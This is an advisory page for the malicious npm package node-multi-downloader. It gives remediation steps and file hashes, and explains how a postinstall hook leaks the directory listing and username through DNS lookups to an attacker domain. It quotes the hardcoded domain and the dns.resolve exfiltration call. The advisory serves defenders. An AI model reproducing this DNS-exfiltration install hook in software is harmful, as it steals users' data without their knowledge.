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Malicious package

node-multi-downloadernpm

Malicious code in node-multi-downloader (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5735
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall node-multi-downloader

What this malware does

On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.

Malicious versions

1 flagged
5.0.14-rc.3

Indicators of compromise (SHA-256)

77464387879005e5c35e332c1b9f9826ea1af7dec30cad7d06fe1023d553f1f4
8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68

Frequently asked questions

No. node-multi-downloader on npm has been identified as a malicious package (version 5.0.14-rc.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006322IN-MAL-2026-006321

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